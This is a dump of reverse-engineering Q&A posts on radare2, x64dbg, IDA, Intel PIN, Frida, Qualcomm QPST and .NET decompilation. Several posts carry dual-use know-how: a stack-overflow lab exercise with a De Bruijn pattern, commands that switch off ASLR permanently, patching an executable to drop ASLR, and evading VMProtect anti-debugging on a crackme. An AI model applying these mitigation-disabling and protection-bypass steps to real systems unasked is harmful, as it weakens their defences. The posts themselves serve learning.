        "Body": "<p>This table is part of the packet encryption of an old game for which I am developing a server.</p>\n\n<p>The crypto algorithm doesn't just xor the password with the message.\nIt uses a multiple of the ascii value of the letters in the password as an index for this table/array. With the retrieved value, it then does logical and operations which null out most, but not all values.</p>\n\n<p>The result of this is finally xor'ed with the corresponding letter in the message.</p>\n\n<p>I mean the general idea seems nice for a software that was developed 10+ years ago and was mainly a kids game, but I wonder why someone invents such an algorithm an then puts so many zeroes in there. </p>\n\n<p>Is it possible, that this table is in some way a part of a standard library function that was mistakenly used in this context?\nOr are these just a bunch of random values to mess with someone who is trying to reverse engineer the encryption?</p>\n\n<pre><code>20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00\n20 00 28 00 28 00 28 00 28 00 28 00 20 00 20 00\n20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00\n20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00\n48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00\n10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00\n84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00\n84 00 84 00 10 00 10 00 10 00 10 00 10 00 10 00\n10 00 81 00 81 00 81 00 81 00 81 00 81 00 01 00\n01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00\n01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00\n01 00 01 00 01 00 10 00 10 00 10 00 10 00 10 00\n10 00 82 00 82 00 82 00 82 00 82 00 82 00 02 00\n02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00\n02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00\n02 00 02 00 02 00 10 00 10 00 10 00 10 00 20 00\n</code></pre>\n",
        "Title": "Does someone recognize this \"lookup table\"? (used for xor encryption)",
        "Tags": "|encryption|xor|",
        "Answer": "<p>The data appears to be a lookup table to support the functions in the C library header <code>&lt;ctype.h&gt;</code></p>\n\n<p>Specifically, the bit-field values being used here represent, for each character -</p>\n\n<pre><code>0x01 =&gt; Upper Case\n0x02 =&gt; Lower Case\n0x04 =&gt; Digit\n0x08 =&gt; Space\n0x10 =&gt; Punctuation\n0x20 =&gt; Control\n0x40 =&gt; Blank\n0x80 =&gt; Hex Digit\n</code></pre>\n\n<p>These values match those that (at least) the Microsoft C runtime library uses. You can see these defined in the MSVC <code>&lt;ctype.h&gt;</code> header.</p>\n\n<p>Other CRT's might use the same, similar (e.g. libc), or different values (e.g. glibc).</p>\n"
    },
    {
        "Id": "17810",
        "CreationDate": "2018-03-26T12:06:55.670",
        "Body": "<p>I am new to radare2. I am trying out radare2 with exercise from <a href=\"https://exploit-exercises.com/protostar/stack0/\" rel=\"nofollow noreferrer\">Protostar stack0</a><br>\nI generate raw De Bruijn Patterns with below command</p>\n\n<pre><code>$ ragg2 -P 500 -r\nAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsA\n</code></pre>\n\n<p>Run the program in debug mode and execute it </p>\n\n<pre><code>$ r2 -d -A stack0\nProcess with PID 31611 started...\n= attach 31611 31611\nbin.baddr 0x08048000\nUsing 0x8048000\nasm.bits 32\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Analyze function calls (aac)\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n= attach 31611 31611\n31611\n -- Buy a mac\n\n[0xf7f72a20]&gt; dc\nAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsA\nYou have changed the modified variable\nchild stopped with signal 11\n[+] SIGNAL 11 errno=0 addr=0x4141583d code=1 ret=0\n\n[0x080484d0]&gt; dr\neax = 0x00000000\nebx = 0x5a414159\necx = 0x41415841\nedx = 0xf7f48870\nesi = 0x00000001\nedi = 0xf7f47000\nesp = 0x4141583d\nebp = 0x41614141\neip = 0x080484d0\neflags = 0x00010282\noeax = 0xffffffff\n\n[0x080484d0]&gt; wopO ebp\nNeed hex value with `0x' prefix e.g. 0x41414142\n[0x080484d0]&gt; wopO esp\nNeed hex value with `0x' prefix e.g. 0x41414142\n[0x080484d0]&gt; wopO eip\nNeed hex value with `0x' prefix e.g. 0x41414142\n</code></pre>\n\n<p>Below is the C code which I am working on </p>\n\n<pre><code>  1 #include&lt;stdio.h&gt;\n  2 #include&lt;stdlib.h&gt;\n  3 #include&lt;unistd.h&gt;\n  4\n  5 int main(int argc, char **argv){\n  6\n  7     volatile int modified;\n  8     char buffer[64];\n  9\n 10     modified = 0;\n 11     scanf(\"%s\",buffer);\n 12\n 13     if(modified !=0){\n 14         printf(\"You have changed the modified variable\\n\");\n 15     }else{\n 16         printf(\"Try again\\n\");\n 17     }\n 18     return 0;\n 19 }\n</code></pre>\n\n<p>Q1)Any reason why eip is not overwritten with the De Bruijn Pattern?</p>\n\n<p>Q2)Why do I get the message <code>Need hex value with '0x' prefix e.g. 0x41414142</code> </p>\n\n<p>Kindly let me know. \nThank you.</p>\n",
        "Title": "radare2- Unable to use wopO command",
        "Tags": "|radare2|",
        "Answer": "<p>Did you notice that you indeed changed the desired variable?</p>\n\n<blockquote>\n  <p>You have changed the modified variable</p>\n</blockquote>\n\n<p>Anyway, regarding the 2nd question, this is an intended behavior after <a href=\"https://github.com/radare/radare2/pull/9538\" rel=\"nofollow noreferrer\">the following pull-request</a> was merged to radare2.</p>\n\n<p>Now it is requires that you'll have <code>0x</code> prefixed to the passed value, so you can do something like this:</p>\n\n<pre><code>wopO `dr ebp`\n</code></pre>\n\n<p>or something like that:</p>\n\n<pre><code>wopO `?v ebp`\n</code></pre>\n\n<p>The backticks are used to execute radare2 command so you basically use the result of the inner command and pass it to <code>wopO</code></p>\n\n<hr>\n\n<p>Regarding the first question, after some amount of chars (i.e long input) you'll get a Segfault, that's mean that your input cause a corruption and you indeed made a \"damage\" to eip. If you want to override <code>eip</code> you should bypass the security mitigation -- ASLR:</p>\n\n<p>To disable it temporarily, execute:</p>\n\n<pre><code>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n</code></pre>\n\n<p>And to enable it again, execute:</p>\n\n<pre><code>echo 2 | sudo tee /proc/sys/kernel/randomize_va_space\n</code></pre>\n\n<p>If you want to change the value permanently, say if it is an exploitation-dedicated machine, add the following setting to <code>/etc/sysctl.conf</code>, for example:</p>\n\n<pre><code>echo \"kernel.randomize_va_space = 0\" &gt;&gt; /etc/sysctl.conf\n</code></pre>\n\n<p>and run the <code>sysctl -p</code> command.</p>\n"
    },
    {
        "Id": "17815",
        "CreationDate": "2018-03-26T18:28:57.947",
        "Body": "<p>Some of my breakpoints perfectly survive multiple restarts.</p>\n\n<p>But many interesting parts of the code I am debugging have different locations in memory after a restart. It seems the reason is, that the code is loaded into a different memory segment, after a restart. And it further looks like the parts I am looking for are at least absolutely positioned to the memory block they are in.</p>\n\n<p><strong>CLARIFICATION</strong>:\nI suspect that the code which stays in place during restarts is a statically linked library and the code which switches places is the main program itself.\nDoes this make sense?</p>\n\n<p>Is there a way in x64dbg(or a similar debugger) to account for that and set memory breakpoints relatively to the block they are loaded into?</p>\n\n<p>And why do some Parts of the code always get loaded into the same block while others are randomly loaded into one memory segment?</p>\n\n<p><strong>EDIT</strong>:\nIs there furtheremore a method to somehow label constant ponters that are relatively positioned to the memory segment? It would be really helpful to directly recognize which constant im looking on instead of recalculating by hand which one in comparison to the last start it it.</p>\n\n<p><strong>EDIT3:</strong></p>\n\n<p>Here a screenshot for clarification:\n<a href=\"https://i.stack.imgur.com/ZAnEM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZAnEM.png\" alt=\"enter image description here\"></a></p>\n\n<p>You can see that the adresses stay the same on the lower two bytes, but differ on the higher 2 bytes according to the memory block they are loaded into.</p>\n",
        "Title": "Is it possible to set breakpoints relatively to the memory block in x64dbg or a similar debugger?",
        "Tags": "|memory|dynamic-analysis|breakpoint|x64dbg|",
        "Answer": "<p>windows > greater than vista implement a security feature called ASLR (Address Space Layout Randomisation ) </p>\n\n<p>this feature randomly changes the Base Address of the binary each time it is restarted  this prevents  constant address dependent exploits obsolete </p>\n\n<p>for dlls the base address is changed per boot  </p>\n\n<p>even though the address space is randomised there can be clashes and the binary might be loaded in the same base address several times </p>\n\n<p>suppose you have code like this </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\nvoid main (void) {\n    char buff[MAX_PATH] = {0};\n    GetModuleFileName(NULL,buff,MAX_PATH);\n    printf(\"%p\\t%s\\n\" , GetModuleHandle(NULL) , buff);\n    HMODULE hntdll = GetModuleHandle(\"kernel32\");\n    GetModuleFileName(hntdll,buff,MAX_PATH);\n    printf(\"%p\\t%s\\n\" , hntdll , buff);\n}\n</code></pre>\n\n<p>you can see the binary is loaded in the same address 3 times consecutively while changing its base the fourth time  also you can see the dll is always loaded in same address on all 4 restarts (this address may change on rebooting )</p>\n\n<pre><code>C:\\Users\\printbaseaddr&gt;printbaseaddr.exe\n00C80000        C:\\Users\\printbaseaddr\\printbaseaddr.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n\nC:\\Users\\printbaseaddr&gt;printbaseaddr.exe\n00C80000        C:\\Users\\printbaseaddr\\printbaseaddr.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n\nC:\\Users\\printbaseaddr&gt;printbaseaddr.exe\n00C80000        C:\\Users\\printbaseaddr\\printbaseaddr.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n\nC:\\Users\\printbaseaddr&gt;printbaseaddr.exe\n003D0000        C:\\Users\\printbaseaddr\\printbaseaddr.exe  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n774E0000        C:\\Windows\\system32\\kernel32.dll\n</code></pre>\n\n<p>you can see if your binary is ASLR enabled using any pe file explorer \none way is to use dumpbin /headers and look for Dynamic Base in Dll Characteristics</p>\n\n<pre><code>C:\\Users\\printbaseaddr&gt;dumpbin /headers printbaseaddr.exe | grep  Dyna\n                   Dynamic base\n</code></pre>\n\n<p>you can patch this in the file to diasble aslr for an executable  and you will notice the exe is always loaded in its prefferred base which for an exe is normally 0x400000</p>\n\n<pre><code>:\\&gt;fc printbaseaddr.exe printbaseaddrmod.exe\nComparing files printbaseaddr.exe and PRINTBASEADDRMOD.EXE\n00000156: 40 00\n\n:\\&gt;xxd -s 0x154 -l 10 printbaseaddrmod.exe\n0000154: 0300 0081 0000 1000 0010                 ..........\n\n:\\&gt;xxd -s 0x154 -l 10 printbaseaddr.exe\n0000154: 0300 4081 0000 1000 0010                 ..@.......\n\n:\\&gt;echo off\nfor /L %i in (1,1,10) do printbaseaddrmod.exe\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n</code></pre>\n"
    },
    {
        "Id": "17822",
        "CreationDate": "2018-03-27T12:57:23.927",
        "Body": "<p>I am debugging a program but I no longer want to run step by step. Is there no \"resume program\" function that I can use to let the program I'm attached to, to run to completion of all its tasks without the debugger pausing every second (no breakpoints enabled). Maybe the access violations are why it's pausing but I want it to ignore them too as it's already excluded in my exceptions menu.</p>\n",
        "Title": "Run program until completion without debugging step by step",
        "Tags": "|ollydbg|x64dbg|",
        "Answer": "<p>In both, ollydbg and x64dbg you can just press the \"run\" button(or F9) to let the programm run normally. You may have to disable the breakpoints beforehand(This will not delete them). In x64dbg you do a right click in the breakpoints panel and select \"disable all\" in the context menu to achieve this.</p>\n\n<p>To \"ignore\" all exceptions in x64dbg: Click on options -> preferences -> exceptions -> add range. Then in the first input enter a \"0\" and in the second as many \"F\" as fit in.</p>\n"
    },
    {
        "Id": "17830",
        "CreationDate": "2018-03-28T17:35:15.593",
        "Body": "<p>Basically I just would like to modify the following code: <a href=\"https://github.com/SideChannelMarvels/Tracer/tree/master/TracerPIN\" rel=\"nofollow noreferrer\">https://github.com/SideChannelMarvels/Tracer/tree/master/TracerPIN</a><br>\n(based on Intel PIN) in order to be able to modify the content of some registers at a given PC.\nFor this I just inserted the following callback at line 418 of Tracer.cpp, when the PC is 0x808104f (as a simple test):</p>\n\n<pre><code>if (ceip == 0x808104f) {  \n    string* dis = new string(INS_Disassemble(ins));  \n    INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)changeReg,  \n        IARG_INST_PTR,  \n        IARG_CONTEXT,   \n        IARG_PTR, dis,   \n        IARG_UINT32, INS_Size(ins), IARG_END);  \n}\n</code></pre>\n\n<p>and finally here is my function <strong>changeReg()</strong>:</p>\n\n<pre><code>VOID changeReg (ADDRINT ip, CONTEXT *ctxt, string *disass, INT32 size){  \n    UINT32 edx_new_value = 0x00000ccc;  \n    UINT32 edx_value;  \n    //set the registers  \n    PIN_SetContextReg(ctxt, REG_EDX, edx_new_value);  \n    edx_value = PIN_GetContextReg(ctxt, REG_EDX);  \n    printf(\"EDX = %08x \\n\", edx_value);  \n}\n</code></pre>\n\n<p>and when I trace my program with my modified TracerPIN:</p>\n\n<pre><code>root@VirtualBox:/media/shared/E/tracerPin/test/x86#Tracer -o test_modif_register.txt -- ./testapp\n[*] Trace file test_modif_register.txt opened for writing...\nEDX = 00000ccc\nroot@VirtualBox:/media/shared/E/tracerPin/test/x86#\n</code></pre>\n\n<p>According to the printf(), it looks like my register has been correctly modified to 0xccc, however when I checked the .txt trace, the register EDX is still left unmodified (0x0000137), and my modification is never taken into account in the trace... any idea ?:  </p>\n\n<pre><code>[I]      1016       0x8081049    and edx, 0x1fff                        81 e2 ff 1f 00 00\n[I]      1017       0x808104f    mov dword ptr [0x8086ae4], 0x4f0       c7 05 e4 6a 08 08 f0 04 00 00\n[W]      1017       0x808104f    0x8086ae4 size= 4 value=        0x000004f0  \n[I]      1018       0x8081059    mov dword ptr [0x8086ac0], edx         89 15 c0 6a 08 08\n[W]      1018       0x8081059    0x8086ac0 size= 4 value=        0x00000137  \n[I]      1019       0x808105f    mov dword ptr [0x8086db0], ecx         89 0d b0 6d 08 08\n[W]      1019       0x808105f    0x8086db0 size= 4 value=        0xa5879af8\n[I]      1020       0x8081065    lea ecx, ptr [edi-0x4]                 8d 4f fc\n</code></pre>\n",
        "Title": "Intel PIN (TracerPIN): adding modification of registers",
        "Tags": "|instrumentation|register|intel|",
        "Answer": "<p>Here is my new callback prototype: </p>\n\n<pre><code>if (ceip == 0x808104f) {  \n     string* dis = new string(INS_Disassemble(ins));  \n     INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)changeReg,  \n     IARG_INST_PTR,  \n     IARG_REG_REFERENCE, REG_EDX,      \n     IARG_END);  \n}\n</code></pre>\n\n<p>And <code>changeReg()</code> function:</p>\n\n<pre><code>VOID changeReg (ADDRINT ip,  ADDRINT *edx) {   \n    *edx = 0x00000ccc;  \n    printf(\"EDX = %08x \\n\", (UINT32)*edx);   \n}\n</code></pre>\n"
    },
    {
        "Id": "17835",
        "CreationDate": "2018-03-28T19:19:52.413",
        "Body": "<p>I'm learning frida and trying to hook a function that looks like:</p>\n\n<pre><code>`.method public final fn()[B`\n</code></pre>\n\n<p>It returns a byte array. Here's my code:</p>\n\n<pre><code>Java.perform(function () {\n    var test = Java.use(\"com...\");\n    test.fn.overload().implementation = function () {\n        var ret = this.fn();\n        console.log(\"how to write here?\");\n        return ret;\n    };\n});\n</code></pre>\n\n<p>How to print the <code>ret</code> variable returned by the function? It's a <em>byte[]</em>. I tried <code>console.log</code> but it only prints a <em>[object]</em>, and <code>hexdump</code> complains <em>'expected a pointer'</em>. How can I print the array?</p>\n",
        "Title": "print [B byte array in frida js script",
        "Tags": "|android|function-hooking|",
        "Answer": "<p><strong>Easy:</strong></p>\n<pre><code>var stringClass = Java.use(&quot;java.lang.String&quot;);\nvar stringInstance = stringClass.$new(ret);\nconsole.log('look = ' + stringInstance.toString())\n</code></pre>\n"
    },
    {
        "Id": "17857",
        "CreationDate": "2018-03-30T16:37:10.927",
        "Body": "<p>who faced with VMProtect? I just found on the Internet crackme and decided to grunt it, but unfortunately not that good of it did not work out, as the message about prevention of debugging climbed out. the whole point of the problem is to find out the constant password and I decided as usual I do in such cases turn off the anti-debugging and I'm looking for a password, so I put the check for the <code>IsDebuggerPresent</code> system functions, <code>CheckRemoteDebuggerPresent</code> and when they were called by the simply return value set 0, surprisingly did not help. Can you please tell us how to avoid debugger detection?</p>\n\n<p>P.S. Everything for the sole purpose of education</p>\n",
        "Title": "VMProtect keygen, turn off the anti-debugging",
        "Tags": "|debugging|anti-debugging|x64dbg|virtual-machines|vmprotect|",
        "Answer": "<p>You can use something like <a href=\"https://github.com/x64dbg/ScyllaHide\" rel=\"nofollow noreferrer\">ScyllaHide</a> to hide your debugger while you still don\u2018t know the method they use to detect you.</p>\n"
    },
    {
        "Id": "17872",
        "CreationDate": "2018-04-02T15:24:44.723",
        "Body": "<p>I've open a DLL in IDA v7. In one subroutine, there is a <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/hh707077(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>PathAllocCombine()</code></a> function. The pesudocode shows six arguments in it. But the documentations shows there are four arguments i.e. <code>PathAllocCombine(PCWSTR, PCWSTR, unsigned long, PWSTR);</code></p>\n\n<p>The pseudocode is as follows:</p>\n\n<pre><code>_QWORD *__fastcall sub_180040994(_QWORD *a1, __int64 a2, __int64 a3)\n{\n  _QWORD *v3; // rbx\n  signed int v4; // ST20_4\n  unsigned int v5; // eax\n  void *retaddr; // [rsp+38h] [rbp+0h]\n\n  v3 = a1;\n  v4 = 1;\n  *a1 = 0i64;\n  v5 = PathAllocCombine(a2, a3, 1i64, a1, v4, -2i64);\n  if ( (v5 &amp; 0x80000000) != 0 )\n  {\n    sub_18000A7A4(retaddr, 106i64, \"unknown.cpp\", v5);\n    JUMPOUT(*(_QWORD *)&amp;byte_1800409F9);\n  }\n  return v3;\n}\n</code></pre>\n\n<p>And here is the graph view of that subroutine (conditional jump is removed):</p>\n\n<p><a href=\"https://i.stack.imgur.com/thGwJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/thGwJ.png\" alt=\"PathAllocCombine_call\"></a></p>\n\n<p>So, is this an internal bug in IDA? Or am I doing anything wrong?</p>\n",
        "Title": "Why does IDA show wrong function arguments in pseudocode?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>Thanks @anton-kukoba for the tip. I've resolved my issue and here is my procedure.</p>\n\n<p>Right click on the <code>PathAllocComnbine()</code> function in pseudocode mode and choose \"Set Item Type\". Then add the function as follows (remove all the SAL and variable names): </p>\n\n<pre><code>HRESULT PathAllocCombine(PCWSTR, PCWSTR, unsigned long, PWSTR*);\n</code></pre>\n\n<p>Now the pseudocode becomes as follows which contains four parameters:</p>\n\n<pre><code>_QWORD *__fastcall sub_180040994(_QWORD *a1, __int64 a2, __int64 a3)\n{\n  _QWORD *v3; // rbx\n  HRESULT v4; // eax\n  void *retaddr; // [rsp+38h] [rbp+0h]\n\n  v3 = a1;\n  *a1 = 0i64;\n  v4 = PathAllocCombine((PCWSTR)a2, (PCWSTR)a3, 1u, (PWSTR *)a1);\n  if ( v4 &lt; 0 )\n  {\n    sub_18000A7A4(retaddr, 106i64, \"unknown.cpp\", (unsigned int)v4);\n    JUMPOUT(*(_QWORD *)&amp;byte_1800409F9);\n  }\n  return v3;\n}\n</code></pre>\n"
    },
    {
        "Id": "17874",
        "CreationDate": "2018-04-02T16:02:08.453",
        "Body": "<p>I have an error message pop up on the screen every few seconds on a program.\nI would like to trace it back as to which function is calling the message box and why.</p>\n\n<p>I found the referenced string but how do I trace it back to who called the function?</p>\n",
        "Title": "Trace back which function called the message box in x64dbg?",
        "Tags": "|x64dbg|",
        "Answer": "<p>You can find this out by first running the program to the entry point to skip all of the boilerplate code, then go to the Symbols tab in x64Dbg, going to User32.dll and then filtering for the <code>MessageBox</code> functions. Place breakpoints on any functions with <code>MessageBox</code> in them and then run the program. Now, when MessageBox is called, the program will break and you can see where execution is.</p>\n\n<p>You can trace the caller by going to your CPU tab and right-clicking in there, now go to <strong>Search For -> All Modules -> Intermodules References</strong>.</p>\n\n<p>Now, you will see a bunch of function calls and at the bottom is a box where you can enter a filter term. Type in <code>MessageBox</code> and you will see where the program calls <code>MessageBox</code> and you can then double-click to jump there or right click for more options, place a breakpoint, etc...</p>\n\n<p>I've attached an example using <code>printf</code> but in your case, you will use <code>MessageBox</code>. Note, this will only be correct if the MessageBox function is the function being used to display the message. If there is another library imported, it could be another function but the process is still similar.</p>\n\n<p><a href=\"https://i.stack.imgur.com/w8uVm.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/w8uVm.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17892",
        "CreationDate": "2018-04-04T10:29:39.507",
        "Body": "<p>How does Qualcomm's QPST work? Or what protocol/commands does QPST use? As I wanted to develop an app like it, I searched for AT commands. But I can't find out any AT commands that allows me access(read/write) my old phone's internal file system(firmware). Any helps like the name of the commands/protocols that QPST uses are appreciated.</p>\n\n<p>Or if my question is off-topic, where should I ask? </p>\n",
        "Title": "How does QPST work and how can I make an app like it?",
        "Tags": "|firmware|embedded|kernel|",
        "Answer": "<p>There is an open source project: <a href=\"https://github.com/openpst/openpst\" rel=\"nofollow noreferrer\">openpst</a>, which reimplements most functionality of the qpst tool.</p>\n\n<p>Some of the protocols used are:</p>\n\n<ul>\n<li><a href=\"https://github.com/openpst/libopenpst/tree/master/include/qualcomm/dm.h\" rel=\"nofollow noreferrer\">diag</a> - used to read nv memory, and switch to dload mode using <code>kDiagDload</code>.</li>\n<li><a href=\"https://github.com/openpst/libopenpst/tree/master/include/qualcomm/sahara.h\" rel=\"nofollow noreferrer\">sahara</a> - used by the primary bootloader in newer qualcomm chipsets</li>\n<li><a href=\"https://github.com/openpst/libopenpst/tree/master/include/qualcomm/dload.h\" rel=\"nofollow noreferrer\">dload</a>, used by bootroms, and older chipsets.</li>\n<li><a href=\"https://github.com/openpst/libopenpst/tree/master/include/qualcomm/streaming_dload.h\" rel=\"nofollow noreferrer\">streaming dload</a> - used by the flash loader.</li>\n<li><a href=\"https://github.com/binsys/emmcdl/blob/master/src/firehose.cpp\" rel=\"nofollow noreferrer\">firehose</a> - the xml style protocol used with <code>rawprogram0.xml</code> files.</li>\n</ul>\n\n<hr>\n\n<p>Flashing usually works like this:</p>\n\n<ul>\n<li>switch to dload mode, this will start the bootloader.</li>\n<li>upload the <code>NPRG*.{hex,mbn}</code> flash loader using the sahara protocol\n\n<ul>\n<li>the <code>ENPRG*</code> file is used for the emergency bootloader mode, launched when the bootrom cannot find a suitable primary bootloader in flash.</li>\n</ul></li>\n<li>now talking to the <code>NPRG</code> loader, using the streaming dload protocol, upload and write binaries to flash.</li>\n</ul>\n\n<p>Note that some manufacturers lock the bootrom, by fusing a specific certificate into the processor's One-time-programmable fuses. When this is the case, the bootrom will accept only specific binaries.</p>\n\n<p>A collection of suitable binaries can be found <a href=\"https://github.com/openpst/assets/tree/master/programmers\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "17893",
        "CreationDate": "2018-04-04T10:57:16.477",
        "Body": "<p>Here is an example of a subroutine as pseudocode in IDA:</p>\n\n<pre><code>HRESULT __stdcall func(PCWSTR name, PCWSTR command, BOOL folder, DWORD *pCode) {\n  _OWORD *v4;\n  __int128 v5, v12, v13;\n  __int64 v6;\n  HRESULT v11;\n  DWORD **v14;\n  PCWSTR v16, v17; BOOL v18; DWORD *v19;\n\n  v19 = pCode; v18 = folder; v17 = command; v16 = name;\n  v11 = 0x80004005;\n  *(_QWORD *)&amp;v12 = &amp;v11;\n  *((_QWORD *)&amp;v12 + 1) = &amp;v16;\n  *(_QWORD *)&amp;v13 = &amp;v17;\n  *((_QWORD *)&amp;v13 + 1) = &amp;v18;\n  v14 = &amp;v19;\n  v4 = (_OWORD *)sub_1800050B4(40i64); //contains malloc\n  if ( v4 ) {\n    v5 = v13;\n    *v4 = v12;\n    v6 = (__int64)v14;\n    v4[1] = v5;\n    *((_QWORD *)v4 + 4) = v6;\n  }\n  function(v4);\n}\n</code></pre>\n\n<p>It is easy to understand the pointer offsets with <code>v12</code> and <code>v13</code>. But some subroutines have many more variables which is not easy to follow. So can I convert that pointer offsets to an array? And why IDA shows so many local variables?</p>\n",
        "Title": "How to convert pointer and offsets to array in IDA?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>IDA deals with optimized assembler generated by the compiler. In this case compiler definitely combined several values into 128-bit registers and several stack locations. IDA doesn't know what it was initially, it can only guess. So it uses the stack locations and registers as if they are the variables in the source code. To understand it better you should read about 'Stack Frame'.</p>\n\n<p>As for making the array, you should change the type of v12 variable to <strong>void * [4]</strong>. This is done via selecting v12 and pressing Y.</p>\n"
    },
    {
        "Id": "17910",
        "CreationDate": "2018-04-05T17:01:59.107",
        "Body": "<p>Radare has a command <code>pdc</code></p>\n\n<pre><code>pdc   pseudo disassembler output in C-like syntax\n</code></pre>\n\n<p>I'm curious to know how the plugin <a href=\"https://github.com/wargio/r2dec-js\" rel=\"nofollow noreferrer\"><code>r2dec-js</code></a> compares to <code>pdc</code> it seems like they do the same thing.</p>\n",
        "Title": "How does r2dec compare to pdc?",
        "Tags": "|disassembly|radare2|",
        "Answer": "<p>There is a huge difference between <code>pdc</code> and <code>pdd</code> (r2dec).</p>\n\n<ul>\n<li><code>pdc</code> provide a basic r2 pseudo code with some and it's mostly for x86/x64.</li>\n<li><code>pdd</code> provides a more advance pseudo-C like code where the controlflow, instructions, delayed branches, etc.. have been analyzed and tries to provide some slightly more readable code to the user.</li>\n</ul>\n\n<p><code>pdd</code> is only available after installing r2dec from <code>r2pm</code>.</p>\n"
    },
    {
        "Id": "17911",
        "CreationDate": "2018-04-06T09:13:19.870",
        "Body": "<p>The motivation for this question is that I used JetBrains dotPeek to decompile an .exe written in F#, but the output project directory produced C# code.</p>\n\n<p>Why does decompiling an F# assembly produce C# code?</p>\n\n<p>I know that both languages get JIT-compiled from MSIL to native code, which may make it difficult to definitively say what the original language was.</p>\n\n<p>Despite this, are there reliable methods for distinguishing C# binaries from F# ones via static analysis? Dynamic analysis?</p>\n",
        "Title": "How to tell if a particular .NET assembly was written in C# or F#?",
        "Tags": "|decompilation|.net|c#|",
        "Answer": "<blockquote>\n  <p>Why does decompiling an F# assembly produce C# code?</p>\n</blockquote>\n\n<p>It doesn't. It produces IL code which then can be interpreted as C#, F# or VB.NET. dotPeek doesn't allow you to use any other language for previewing but for example <a href=\"https://github.com/0xd4d/dnSpy\" rel=\"noreferrer\">dnSpy</a>, <a href=\"https://github.com/icsharpcode/ILSpy\" rel=\"noreferrer\">ILSpy</a> allow you to pick your favourite one. Just wondering if there's any tools that allows F#. Not sure/haven't seen one.</p>\n\n<blockquote>\n  <p>Despite this, are there reliable methods for distinguishing C# binaries from F# ones via static analysis? Dynamic analysis?</p>\n</blockquote>\n\n<p>There are some hints that can guide you. Check the references. If something is referencing the <code>FSharp.Core</code> then probably was written in F#. On the other hand if it doesn't probably it was not :)</p>\n\n<p>F#'s dlls usually have a lot of attributes put on classes like <code>[FSharpInterfaceDataVersion]</code> or <code>[CompilationMappingAttribute]</code> being used. Check them.</p>\n\n<p>There's one more thing. F# compiler is capable of using a <a href=\"https://blogs.msdn.microsoft.com/fsharpteam/2011/07/08/tail-calls-in-f/\" 